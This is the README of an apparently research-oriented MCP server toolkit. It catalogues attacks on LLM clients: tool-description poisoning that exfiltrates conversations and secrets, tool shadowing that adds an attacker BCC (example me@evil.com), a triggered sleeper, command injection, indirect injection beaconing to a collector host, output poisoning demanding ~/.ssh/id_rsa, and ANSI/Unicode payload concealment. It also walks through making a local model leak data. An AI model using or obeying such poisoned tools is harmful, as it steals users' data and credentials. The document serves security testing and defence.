Skip to content

Repository files navigation

mcp-exploit-tools

📖 Docs site: https://crashoz.github.io/mcp-exploit-tools/ — the exploit write-ups, rendered.

A minimal, low-level MCP server with zero third-party dependencies (Python standard library only — no mcp SDK, no FastMCP, no web framework), organised as a small package of single-purpose modules.

It is the foundation for a toolkit aimed at security researchers testing exploits against MCP servers and the clients/hosts that connect to them. Because there is no SDK between you and the wire, every JSON-RPC message is under your direct control and any layer can be mutated to craft adversarial / non-spec-compliant behaviour.

  • Protocol: MCP 2025-11-25 (current stable revision).
  • Transports: stdio and Streamable HTTP.
  • Primitives: tools, resources, prompts.
  • Requirements: Python 3.10+. No installation, no pip.

Quickstart

# stdio transport (the default) — what local MCP clients launch:
python3 server.py            # or: python3 -m mcpserver

# List the available exploit modules:
python3 server.py --list-exploits

# Streamable HTTP transport:
python3 server.py --transport http --host 127.0.0.1 --port 8000

# Add --trace to any of the above to log every raw message to stderr.
python3 server.py --trace

CLI

Flag Default Meaning
--transport {stdio,http} stdio Which transport to serve.
--host 127.0.0.1 HTTP bind host. Anything non-local prints a warning.
--port 8000 HTTP bind port.
--path /mcp HTTP endpoint path.
--trace off Log every inbound (>>) / outbound (<<) raw message to stderr.
--insecure off HTTP: disable Origin + session checks (the vulnerable config).
--strict off Enforce lifecycle: reject requests issued before initialization.
--list-exploits List the available exploit modules (slug, name, tools) and exit.
--enable A,B data-exfil Enable these exploit modules by slug, or all for every module.
--disable A,B none Disable these exploit modules, by slug.
--no-demo off Don't register the benign demo tools/resources/prompts.
--loot-file PATH ./loot/exfiltrated.jsonl Where captured data is written (overrides MCP_EXFIL_LOOT).
--webhook URL off Also POST each captured payload here (overrides MCP_EXFIL_WEBHOOK).
--shadow-bcc ADDR security-archive@… tool-shadowing: attacker BCC injected into emails.
--shadow-target-tool NAME send_email tool-shadowing: the trusted email tool to hijack.
--cht-triggers P1,P2 thank you,… conversation-theft: phrases that fire the exfil.
--cmdi-live off (dry-run) command-injection: actually execute the built command (real RCE; lab/VM only).
--ii-collector HOST telemetry-collector.example indirect-injection: attacker exfil host the hidden beacon targets.
--atpa-demand TEXT env + ~/.ssh/id_rsa output-poisoning: what the fake error/result coerces the model to hand over.
--ansi-method {overwrite,color,conceal} overwrite ansi-deception: how the description hides its payload from the terminal.
--unicode-method {tag,zero-width,bidi} tag unicode-concealment: how the description hides its payload in invisible Unicode.

Security knobs (the testable surface)

The Streamable HTTP transport (mcpserver/streamable_http.py) implements the checks the spec calls for, each visible in the source and toggleable so you can compare secure vs. vulnerable behaviour:

  • Origin validation (DNS-rebinding guard): a request carrying a non-localhost Origin header is rejected with 403. Disable with --insecure.
  • Session enforcement: initialize mints an Mcp-Session-Id; any other request with a missing/unknown session id is rejected with 404. Disable with --insecure.
  • Bind address: defaults to 127.0.0.1; --host 0.0.0.0 is allowed but warns.
  • Lifecycle ordering: --strict rejects non-initialize/ping requests before the notifications/initialized handshake (lenient by default, so it can be exercised).

Exploits

Adversarial modules live in mcpserver/exploits/, catalogued in mcpserver/exploits/init.py. Each is documented under docs/exploits/.

Slug Exploit Tool(s) Write-up
data-exfil Data exfiltration via tool-description poisoning (TPA) context_sync docs/exploits/data-exfiltration.md
tool-shadowing Tool shadowing / cross-server hijack add_numbers + send_email docs/exploits/tool-shadowing.md
conversation-theft Conversation-history theft (triggered sleeper) log_feedback docs/exploits/conversation-history-theft.md
command-injection Command injection (deliberately vulnerable tool) net_diagnostic docs/exploits/command-injection.md
full-schema-poisoning Line jumping / full-schema poisoning (FSP) summarize_text docs/exploits/full-schema-poisoning.md
indirect-injection Indirect prompt injection (external-content trigger) fetch_url docs/exploits/indirect-injection.md
output-poisoning Universal output poisoning (ATPA) get_weather docs/exploits/output-poisoning.md
ansi-deception ANSI escape-code deception system_check docs/exploits/ansi-deception.md
unicode-concealment Invisible Unicode concealment (zero-width / bidi / tag chars) health_report docs/exploits/unicode-concealment.md

By default only data-exfil is enabled — its context_sync tool shows up in tools/list next to the demo tools. Enable the others (or all of them) and tune them from the CLI:

python3 server.py --list-exploits                              # see slugs, names, tools
python3 server.py                                              # default: only data-exfil (context_sync)
python3 server.py --enable all                                 # every exploit module
python3 server.py --enable tool-shadowing,command-injection    # just these two
python3 server.py --enable all --disable command-injection     # all but command-injection
python3 server.py --enable tool-shadowing --shadow-bcc me@evil.com --webhook http://127.0.0.1:9000/   # enable + tune + relay

The exfil sink writes captured data to loot/exfiltrated.jsonl by default (--loot-file / MCP_EXFIL_LOOT to change); --webhook / MCP_EXFIL_WEBHOOK also POSTs it to a URL (off by default — no network otherwise). To catch those POSTs locally, run the bundled stdlib collector — python3 webhook_collector.py — and point --webhook at it.

The full exploit backlog — grouped by type and scored (severity/impact/occurrence/difficulty) — lives in PROGRESS.md.

Run it against a LLM

You don't have to hand-write JSON-RPC to see an exploit land — point a real local model at the malicious server and watch it fire end-to-end. The full local-LLM walkthrough uses Ollama + ollmcp with a tiny, CPU-friendly model — no API keys, no GPU. The short version:

ollama pull qwen2.5:1.5b                                   # ~1 GB model, runs on CPU
pip install -r requirements-demo.txt                       # the ollmcp MCP host
ollmcp --servers-json mcp-host.json --model qwen2.5:1.5b   # run from the repo root

ollmcp launches python3 server.py over stdio, calls tools/list, and hands the schemas to the model — at which point the poisoned description is sitting inside the model's context. Ask any ordinary question: the model calls the exfil tool on its own (ollmcp shows an approval prompt by default, so you can watch the leak get offered before it happens). Inspect loot/exfiltrated.jsonl — or a --webhook endpoint — to confirm what left the room. The smaller the model, the more readily it obeys; that's the finding.

What fires — data-exfil (context_sync)

The default flow, straight from data_exfiltration.py:

flowchart TD
    SERVER["malicious MCP server · server.py<br/>advertises context_sync — its description<br/>secretly orders the model to forward everything"]
    SERVER -->|"tools/list — the ollmcp host hands<br/>the tool schemas to the model"| MODEL["local model · qwen2.5:1.5b<br/>reads the description as instructions;<br/>cannot separate trusted text from attacker text"]
    MODEL -->|"tools/call context_sync<br/>{ conversation, secrets, … }"| SINK["handler · sink.capture(…)<br/>→ loot/exfiltrated.jsonl (+ optional webhook POST)<br/>returns: Session registered … Sync complete."]
    SINK --> REPLY["model answers the user normally —<br/>nothing on screen reveals the leak"]

    classDef danger fill:#cc241d,stroke:#fb4934,color:#fbf1c7
    classDef benign fill:#98971a,stroke:#b8bb26,color:#fbf1c7
    classDef model fill:#458588,stroke:#83a598,color:#fbf1c7
    class SERVER danger
    class SINK danger
    class MODEL model
    class REPLY benign
Loading

Full mechanism, why it works, and defenses: docs/exploits/data-exfiltration.md.

Project layout

mcp-exploit-tools/
  server.py                  # thin entry shim → mcpserver.cli:main
  webhook_collector.py       # stdlib collector for --webhook exfil POSTs (optional)
  mcpserver/
    __init__.py              # public API: MCPServer, tool, resource, prompt, ...
    __main__.py              # enables `python3 -m mcpserver`
    constants.py             # protocol version, server info, JSON-RPC error codes
    tracing.py               # stderr logging + raw `>>`/`<<` message tracing
    registry.py              # TOOLS/RESOURCES/PROMPTS + @tool/@resource/@prompt
    protocol.py              # JsonRpcError + MCPServer (lifecycle, dispatch)
    stdio.py                 # stdio transport
    streamable_http.py       # Streamable HTTP transport + security checks
    demo.py                  # benign example tools/resources/prompts (+ exploit marker)
    cli.py                   # argparse + main()
    exploits/                # adversarial modules — one per exploit
      __init__.py            # CATALOG + --enable/--disable selection
      sink.py                # shared capture sink (loot file + optional webhook)
      data_exfiltration.py   # … one module per exploit (see the Exploits table)
  docs/                      # MkDocs site — one write-up per exploit
  PROGRESS.md                # scored exploit roadmap / backlog
  CONTRIBUTING.md            # how to contribute + add an exploit module
  LICENSE.md                 # MIT
  README.md

Extending it (building exploit modules)

Two seams:

  1. Registries — register tools/resources/prompts with the @tool, @resource, @prompt decorators from mcpserver/registry.py. Benign examples in mcpserver/demo.py register on import. An exploit module instead exposes SLUG / NAME / TOOLS, a register(args) that registers its tools, and an optional add_arguments(parser) for fine-tuning flags — then is added to CATALOG in mcpserver/exploits/init.py so --enable/--disable and --list-exploits pick it up (copy data_exfiltration.py as a template). Tool handlers may return a full CallToolResult dict, so you have complete control over advertised metadata and results (poisoned descriptions, hidden instructions, mismatched output).
  2. MCPServer.dispatch — subclass MCPServer in mcpserver/protocol.py and override dispatch() to emit raw, non-spec-compliant messages (wrong ids, duplicate responses, oversized payloads, etc.).

Programmatic use:

from mcpserver import MCPServer, tool

@tool("ping_back", "Echoes a nonce", {"type": "object", "additionalProperties": True})
def _h(args): return args

print(MCPServer().dispatch({"jsonrpc": "2.0", "id": 1, "method": "tools/list"}))

Verification

stdio, by hand (watch raw traffic on stderr)

python3 server.py --trace <<'EOF'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"c","version":"0"}}}
{"jsonrpc":"2.0","method":"notifications/initialized"}
{"jsonrpc":"2.0","id":2,"method":"tools/list"}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"echo","arguments":{"text":"hi"}}}
{"jsonrpc":"2.0","id":4,"method":"resources/list"}
{"jsonrpc":"2.0","id":5,"method":"prompts/list"}
EOF

Streamable HTTP

# Start the server in one shell:
python3 server.py --transport http --trace

# initialize — note the Mcp-Session-Id response header:
curl -i -sS http://127.0.0.1:8000/mcp \
  -H 'Content-Type: application/json' -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"curl","version":"0"}}}'

# tools/call using the captured session id:
curl -sS http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: <id>' \
  -H 'MCP-Protocol-Version: 2025-11-25' -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"echo","arguments":{"text":"hi"}}}'

# SSE stream (stays open; you should see ": connected" then ": keepalive"):
curl -N http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: <id>' -H 'Accept: text/event-stream'

# Security checks — expect 403 (bad Origin) and 404 (bad/missing session):
curl -i -sS http://127.0.0.1:8000/mcp -H 'Origin: http://evil.example' \
  -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"ping"}'
curl -i -sS http://127.0.0.1:8000/mcp -H 'Mcp-Session-Id: nope' \
  -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"ping"}'
# Re-run the bad-Origin call against a server started with --insecure → now 200.

Contributing

Contributions are welcome — bug reports, new exploit modules, and doc improvements. See CONTRIBUTING.md for setup, conventions, and a step-by-step guide to adding an exploit module. Note the responsible-use expectations: this is a toolkit for defenders, researchers, and CTF/lab use — only run it against systems you own or are authorized to test.

License

MIT © Xavier 'crashoz' Launey.

About

A collection of tools (and documentation) in minimal low level python, to showcase exploits on MCP servers and LLMs. For testing and research purposes.

Topics

Resources

Contributing

Security policy

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages